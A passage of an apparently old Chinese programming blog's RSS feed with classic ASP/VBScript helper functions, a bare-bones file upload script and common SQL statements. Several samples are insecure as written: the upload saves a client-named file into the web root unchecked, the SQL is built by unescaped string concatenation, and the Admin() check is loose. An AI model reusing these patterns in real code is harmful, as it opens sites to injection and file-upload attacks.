&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CheckStr&nbsp; =&nbsp; &#34;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Exit&nbsp; Function&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,Chr(0),&#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CheckStr&nbsp; =&nbsp; Replace(Str,&#34;&#39;&#34;,&#34;&#39;&#39;&#34;)<BR> &nbsp; &nbsp; End&nbsp; Function</P><P> Function&nbsp; isInt(str)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; 是不是为整数,必须为9位以下的数<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; L,I<BR> &nbsp; &nbsp; &nbsp; &nbsp; isInt=False<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Trim(Str)=&#34;&#34;&nbsp; Or&nbsp; IsNull(str)&nbsp; Then&nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; str=CStr(Trim(str))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; L=Len(Str)<BR> &nbsp; &nbsp; &nbsp; &nbsp; For&nbsp; I=1&nbsp; To&nbsp; L<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Mid(Str,I,1)&gt;&#34;9&#34;&nbsp; Or&nbsp; Mid(Str,I,1)&lt;&#34;0&#34;&nbsp; Then&nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; isInt=True<BR> End&nbsp; Function</P><P> Function&nbsp; strLen(Str)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; 获得字符串的长度,&nbsp; 配合下面的CutStr(Str,LenNum)<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Trim(Str)=&#34;&#34;&nbsp; Or&nbsp; IsNull(str)&nbsp; Then&nbsp; Exit&nbsp; Function<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; P_len,x<BR> &nbsp; &nbsp; &nbsp; &nbsp; P_len=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; StrLen=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; P_len=Len(Trim(Str))<BR> &nbsp; &nbsp; &nbsp; &nbsp; For&nbsp; x=1&nbsp; To&nbsp; P_len<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Asc(Mid(Str,x,1))&lt;0&nbsp; Then&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; Asc&nbsp; 返回与字符串的第一个字母对应的&nbsp; ANSI&nbsp; 字符代码<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrLen=Int(StrLen)&nbsp; +&nbsp; 2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; StrLen=Int(StrLen)&nbsp; +&nbsp; 1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; Next<BR> End&nbsp; Function</P><P> Function&nbsp; CutStr(Str,LenNum)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; 截取相应的字符串<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; P_num<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; I,X<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; StrLen(Str)&lt;=LenNum&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Cutstr=Str<BR> &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P_num=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X=0<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Do&nbsp; While&nbsp; Not&nbsp; P_num&nbsp; &gt;&nbsp; LenNum-2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X=X+1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Asc(Mid(Str,X,1))&lt;0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P_num=Int(P_num)&nbsp; +&nbsp; 2<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; P_num=Int(P_num)&nbsp; +&nbsp; 1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Cutstr=Left(Trim(Str),X)&amp;&#34;...&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Loop<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> End&nbsp; Function</P><P> Function&nbsp; HTMLEncode(Str)<BR> &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; not&nbsp; isnull(Str)&nbsp; then<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; replace(Str,&nbsp; &#34;&gt;&#34;,&nbsp; &#34;&amp;gt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; replace(Str,&nbsp; &#34;&lt;&#34;,&nbsp; &#34;&amp;lt;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,&nbsp; CHR(32),&nbsp; &#34;&amp;nbsp;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,&nbsp; CHR(9),&nbsp; &#34;&amp;nbsp;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,&nbsp; CHR(34),&nbsp; &#34;&amp;quot;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,&nbsp; CHR(39),&nbsp; &#34;&amp;#39;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,&nbsp; CHR(10)&nbsp; &amp;&nbsp; CHR(10),&nbsp; &#34;&lt;/P&gt;&lt;P&gt;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Str&nbsp; =&nbsp; Replace(Str,&nbsp; CHR(10),&nbsp; &#34;&lt;BR&gt;&nbsp; &#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; HTMLEncode&nbsp; =&nbsp; Str<BR> &nbsp; &nbsp; &nbsp; &nbsp; end&nbsp; if<BR> End&nbsp; Function</P><P> <BR> &#39;&nbsp; 服务器组件检查：<BR> Function&nbsp; CheckObjInstalled(strClassString)<BR> &nbsp; &nbsp; &nbsp; &nbsp; On&nbsp; Error&nbsp; Resume&nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; Temp<BR> &nbsp; &nbsp; &nbsp; &nbsp; Err&nbsp; =&nbsp; 0<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; TmpObj<BR> &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; TmpObj&nbsp; =&nbsp; Server.CreateObject(strClassString)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Temp&nbsp; =&nbsp; Err<BR> &nbsp; &nbsp; &nbsp; &nbsp; IF&nbsp; Temp&nbsp; =&nbsp; 0&nbsp; OR&nbsp; Temp&nbsp; =&nbsp; -2147221477&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CheckObjInstalled=&nbsp; &#34;&lt;font&nbsp; color=&#34;&#34;#FF0000&#34;&#34;&gt;&lt;b&gt;√&lt;/b&gt;&lt;/font&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; ElseIF&nbsp; Temp&nbsp; =&nbsp; 1&nbsp; OR&nbsp; Temp&nbsp; =&nbsp; -2147221005&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CheckObjInstalled=&#34;&lt;font&nbsp; color=&#34;&#34;#FF0000&#34;&#34;&gt;&lt;b&gt;×&lt;/b&gt;&lt;/font&gt;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; IF<BR> &nbsp; &nbsp; &nbsp; &nbsp; Err.Clear<BR> &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; TmpObj&nbsp; =&nbsp; Nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; Err&nbsp; =&nbsp; 0<BR> End&nbsp; Function</P><P> &#39;&nbsp; 查看占用文件空间</P><P> Function&nbsp; GetTotalSize(GetLocal,GetType)<BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; FSO<BR> &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; FSO=Server.CreateObject(&#34;Scripting.FileSystemObject&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; IF&nbsp; Err&lt;0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Err.Clear<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetTotalSize=&#34;服务器关闭FSO，查看占用空间失败&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; SiteFolder<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IF&nbsp; GetType=&#34;Folder&#34;&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; SiteFolder=FSO.GetFolder(GetLocal)&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; SiteFolder=FSO.GetFile(GetLocal)&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; IF<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetTotalSize=SiteFolder.Size<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IF&nbsp; GetTotalSize&gt;1024*1024&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetTotalSize=GetTotalSize/1024/1024<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IF&nbsp; inStr(GetTotalSize,&#34;.&#34;)&nbsp; Then&nbsp; GetTotalSize&nbsp; =&nbsp; Left(GetTotalSize,inStr(GetTotalSize,&#34;.&#34;)+2)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetTotalSize=GetTotalSize&amp;&#34;&nbsp; MB&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; GetTotalSize=Fix(GetTotalSize/1024)&amp;&#34;&nbsp; KB&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; IF<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; SiteFolder=Nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; IF<BR> &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; FSO=Nothing<BR> End&nbsp; Function</P><P> &#39;&nbsp; 数据库相关操作<BR> Function&nbsp; DateToStr(DateTime,ShowType)&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; DateMonth,DateDay,DateHour,DateMinute<BR> &nbsp; &nbsp; &nbsp; &nbsp; DateMonth=Month(DateTime)<BR> &nbsp; &nbsp; &nbsp; &nbsp; DateDay=Day(DateTime)<BR> &nbsp; &nbsp; &nbsp; &nbsp; DateHour=Hour(DateTime)<BR> &nbsp; &nbsp; &nbsp; &nbsp; DateMinute=Minute(DateTime)<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateMonth)&lt;2&nbsp; Then&nbsp; DateMonth=&#34;0&#34;&amp;DateMonth<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateDay)&lt;2&nbsp; Then&nbsp; DateDay=&#34;0&#34;&amp;DateDay<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateMinute)&lt;2&nbsp; Then&nbsp; DateMinute=&#34;0&#34;&amp;DateMinute<BR> &nbsp; &nbsp; &nbsp; &nbsp; Select&nbsp; Case&nbsp; ShowType<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; &#34;Y-m-d&#34;&nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateToStr=Year(DateTime)&amp;&#34;-&#34;&amp;DateMonth&amp;&#34;-&#34;&amp;DateDay<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; &#34;Y-m-d&nbsp; H:I&nbsp; A&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; DateAMPM<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; DateHour&gt;12&nbsp; Then&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateHour=DateHour-12<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateAMPM=&#34;PM&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateHour=DateHour<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateAMPM=&#34;AM&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateHour)&lt;2&nbsp; Then&nbsp; DateHour=&#34;0&#34;&amp;DateHour&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateToStr=Year(DateTime)&amp;&#34;-&#34;&amp;DateMonth&amp;&#34;-&#34;&amp;DateDay&amp;&#34;&nbsp; &#34;&amp;DateHour&amp;&#34;:&#34;&amp;DateMinute&amp;&#34;&nbsp; &#34;&amp;DateAMPM<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; &#34;Y-m-d&nbsp; H:I:S&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; DateSecond<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateSecond=Second(DateTime)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateHour)&lt;2&nbsp; Then&nbsp; DateHour=&#34;0&#34;&amp;DateHour&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateSecond)&lt;2&nbsp; Then&nbsp; DateSecond=&#34;0&#34;&amp;DateSecond<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateToStr=Year(DateTime)&amp;&#34;-&#34;&amp;DateMonth&amp;&#34;-&#34;&amp;DateDay&amp;&#34;&nbsp; &#34;&amp;DateHour&amp;&#34;:&#34;&amp;DateMinute&amp;&#34;:&#34;&amp;DateSecond<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; &#34;YmdHIS&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateSecond=Second(DateTime)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateHour)&lt;2&nbsp; Then&nbsp; DateHour=&#34;0&#34;&amp;DateHour&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateSecond)&lt;2&nbsp; Then&nbsp; DateSecond=&#34;0&#34;&amp;DateSecond<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateToStr=Year(DateTime)&amp;DateMonth&amp;DateDay&amp;DateHour&amp;DateMinute&amp;DateSecond&nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; &#34;ym&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateToStr=Right(Year(DateTime),2)&amp;DateMonth<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; &#34;d&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateToStr=DateDay<BR> &nbsp; &nbsp; &nbsp; &nbsp; Case&nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Len(DateHour)&lt;2&nbsp; Then&nbsp; DateHour=&#34;0&#34;&amp;DateHour<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DateToStr=Year(DateTime)&amp;&#34;-&#34;&amp;DateMonth&amp;&#34;-&#34;&amp;DateDay&amp;&#34;&nbsp; &#34;&amp;DateHour&amp;&#34;:&#34;&amp;DateMinute<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; Select<BR> End&nbsp; Function</P><P> Function&nbsp; &nbsp; Admin()<BR> Admin=False<BR> If&nbsp; &nbsp; Session(&#34;Admin&#34;)=&#34;&#34;&nbsp; or&nbsp; Isnull(Session(&#34;Admin&#34;))&nbsp; or&nbsp; Session(&#34;Flag&#34;)=&#34;&#34;&nbsp; or&nbsp; Isnull(Session(&#34;Flag&#34;))&nbsp; then&nbsp; Admin=False<BR> If&nbsp; &nbsp; Session(&#34;Admin&#34;)&lt;&gt;&#34;&#34;&nbsp; &nbsp; or&nbsp; Session(&#34;Flag&#34;)&gt;0&nbsp; &nbsp; then&nbsp; Admin=True<BR> End&nbsp; &nbsp; Function</P><P> Sub&nbsp; Adminchk()<BR> If&nbsp; &nbsp; Session(&#34;Admin&#34;)=&#34;&#34;&nbsp; or&nbsp; Isnull(Session(&#34;Admin&#34;))&nbsp; or&nbsp; Session(&#34;Flag&#34;)&lt;=0&nbsp; or&nbsp; Isnull(Session(&#34;Flag&#34;))&nbsp; then&nbsp; <BR> Response.Write&nbsp; (&#34;&lt;Script&nbsp; language=JavaScript&gt;alert(&#39;您没有管理的权限，请确认你是否登录!&#39;);window.history.go(-1);&lt;/Script&gt;&#34;)<BR> Response.End<BR> Else<BR> End&nbsp; if<BR> End&nbsp; sub</P><P> sub&nbsp; Webstate()<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; &nbsp; Cint(Yas_Setting(0))=0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; Response.Write(Yas_infor(9))&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; Response.end<BR> &nbsp; &nbsp; &nbsp; &nbsp; Else&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; Response.Write(&#34;&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; if<BR> end&nbsp; sub</P><P> Function&nbsp; SctiptSection()<BR> &nbsp; &nbsp; &nbsp; &nbsp; &#39;&nbsp; &nbsp; &nbsp; dim&nbsp; ScriptTime,SQLNum&nbsp; &nbsp; &#39;&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; dim&nbsp; ScriptTime<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ScriptTime=FormatNumber((timer()-StartTime)*1000,3)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SQLNum=SQLNum<BR> &nbsp; &nbsp; &nbsp; &nbsp; Response.Write&nbsp; (&#34;执行时间:&#34;&amp;ScriptTime&amp;&#34;毫秒&amp;nbsp;&amp;nbsp;&nbsp; 查询数据库:&#34;&amp;SQLNum&amp;&#34;&nbsp; 次&#34;)<BR> End&nbsp; Function<BR> %&gt;</P><P> <BR> </div>]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=136</link>
      <title><![CDATA[最原始的上传文件 ~]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-4-6 22:36:55</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=136</guid>
      <comments>
              /Blog/Blog.aspx?Id=136#commentbox
            </comments>
      <description><![CDATA[upload.asp文件<BR> &nbsp; &nbsp; &lt;%<BR> &nbsp; &nbsp; Function&nbsp; GetFileName(ByVal&nbsp; strFile)<BR> &nbsp; &nbsp; If&nbsp; strFile&nbsp; &lt;&gt;&nbsp; &#34;&#34;&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; GetFileName&nbsp; =&nbsp; mid(strFile,InStrRev(strFile,&nbsp; &#34;\&#34;)+1)<BR> &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; GetFileName&nbsp; =&nbsp; &#34;&#34;<BR> &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; End&nbsp; &nbsp; function</P><P> &nbsp; &nbsp; strFileName&nbsp; =&nbsp; Request.Form(&#34;file1&#34;)<BR> &nbsp; &nbsp; Set&nbsp; objStream&nbsp; =&nbsp; Server.CreateObject(&#34;ADODB.Stream&#34;)<BR> &nbsp; &nbsp; objStream.Type&nbsp; =&nbsp; 1&nbsp; &#39;&nbsp; adTypeBinary<BR> &nbsp; &nbsp; objStream.Open<BR> &nbsp; &nbsp; objStream.LoadFromFile&nbsp; strFileName<BR> &nbsp; &nbsp; objStream.SaveToFile&nbsp; Server.MapPath(GetFileName(strFileName)),2<BR> &nbsp; &nbsp; objStream.Close<BR> &nbsp; &nbsp; %&gt;</P><P> &nbsp; &nbsp; upload.htm文件<BR> &nbsp; &nbsp; &lt;form&nbsp; name=&#34;FORM&#34;&nbsp; action=&#34;upload.asp&#34;&nbsp; method=&#34;post&#34;&gt;<BR> 　　&lt;input&nbsp; type=&#34;submit&#34;&nbsp; name=&#34;submit&#34;&nbsp; value=&#34;OK&#34;&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input&nbsp; type=&#34;file&#34;&nbsp; name=&#34;file1&#34;&nbsp; style=&#34;width:400&#34;&nbsp; &nbsp; value=&#34;&#34;&gt;<BR> &nbsp; &nbsp; &lt;/form&gt;]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=118</link>
      <title><![CDATA[Often be used SQL sentence!]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-4-1 18:08:08</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=118</guid>
      <comments>
              /Blog/Blog.aspx?Id=118#commentbox
            </comments>
      <description><![CDATA[[code]</P><P> AddData:<BR> Conn.Execute(&#34;INSERT&nbsp; INTO&nbsp; [Y_user](Username,UserPassword,Groups)&nbsp; Values&nbsp; (&#39;&#34;&amp;Username&amp;&#34;&#39;,&#39;&#34;&amp;UserPassword&amp;&#34;&#39;,&#39;&#34;&amp;Groups&amp;&#34;&#39;)&#34;)</P><P> DelData:<BR> &nbsp; Conn.execute(&#34;delete&nbsp; &nbsp; from&nbsp; [Y_Gbook]&nbsp; where&nbsp; id=&#34;&amp;id)</P><P> UpdateData:<BR> &nbsp; Conn.Execute(&#34;update&nbsp; [Y_user]&nbsp; set&nbsp; usergroupid=1&nbsp; ,&nbsp; userclass=&#39;&#34;&amp;groupsname&amp;&#34;&#39;,titlepic=&#39;&#34;&amp;titlepic&amp;&#34;&#39;&nbsp; where&nbsp; userid=&#34;&amp;adminuserid&amp;&#34;&nbsp; &#34;)<BR> [code]</P><P> AddData:<BR> Conn.Execute(&#34;INSERT&nbsp; INTO&nbsp; [Y_user](Username,UserPassword,Groups)&nbsp; Values&nbsp; (&#39;&#34;&amp;Username&amp;&#34;&#39;,&#39;&#34;&amp;UserPassword&amp;&#34;&#39;,&#39;&#34;&amp;Groups&amp;&#34;&#39;)&#34;)</P><P> DelData:<BR> &nbsp; Conn.execute(&#34;delete&nbsp; &nbsp; from&nbsp; [Y_Gbook]&nbsp; where&nbsp; id=&#34;&amp;id)</P><P> UpdateData:<BR> &nbsp; Conn.Execute(&#34;update&nbsp; [Y_user]&nbsp; set&nbsp; usergroupid=1&nbsp; ,&nbsp; userclass=&#39;&#34;&amp;groupsname&amp;&#34;&#39;,titlepic=&#39;&#34;&amp;titlepic&amp;&#34;&#39;&nbsp; where&nbsp; userid=&#34;&amp;adminuserid&amp;&#34;&nbsp; &#34;)</P><P> <BR> conn.execute(&#34;insert&nbsp; into&nbsp; Y_Troop&nbsp; (userid,ishead,username,usersex)&nbsp; select&nbsp; userid,ishead,username,usersex&nbsp; from&nbsp; Y_user&nbsp; where&nbsp; userid=&#34;&amp;id&amp;&#34;&#34;)</P><P> conn.execute(&#34;delete&nbsp; From&nbsp; Y_Troop&nbsp; where&nbsp; parentid=(select&nbsp; id&nbsp; from&nbsp; Y_Troop&nbsp; where&nbsp; userid=&#34;&amp;id&amp;&#34;&nbsp; )&#34;)</P><P> That&nbsp; is&nbsp; very&nbsp; important&nbsp; sentence.</P><P> <BR> [/code]</P><P> <BR> <div class='code'><BR> --混合数据库数据和相关变量插入<BR> insert&nbsp; into&nbsp; Y_order&nbsp; (userid,username,showid,showname,price,total)&nbsp; select&nbsp; &nbsp; &#39;2&#39;,&#39;一线风&#39;,id,showname,price,5&nbsp; from&nbsp; Y_show&nbsp; where&nbsp; id=1</P><P> --求合<BR> select&nbsp; sum(price*total)&nbsp; from&nbsp; Y_order&nbsp; &nbsp; where&nbsp; userid=2</P><P> </div></P><P> <BR> [redface]</P><P> 还有别的～嘿～</P><P> <BR> <div class='code'>&lt;a&nbsp; href=&#34;#&#34;&nbsp; onclick=&#34;document.form1.submit()&#34;&gt;提交&lt;/a&gt;</P><P> &lt;a&nbsp; href=&#34;#&#34;&nbsp; 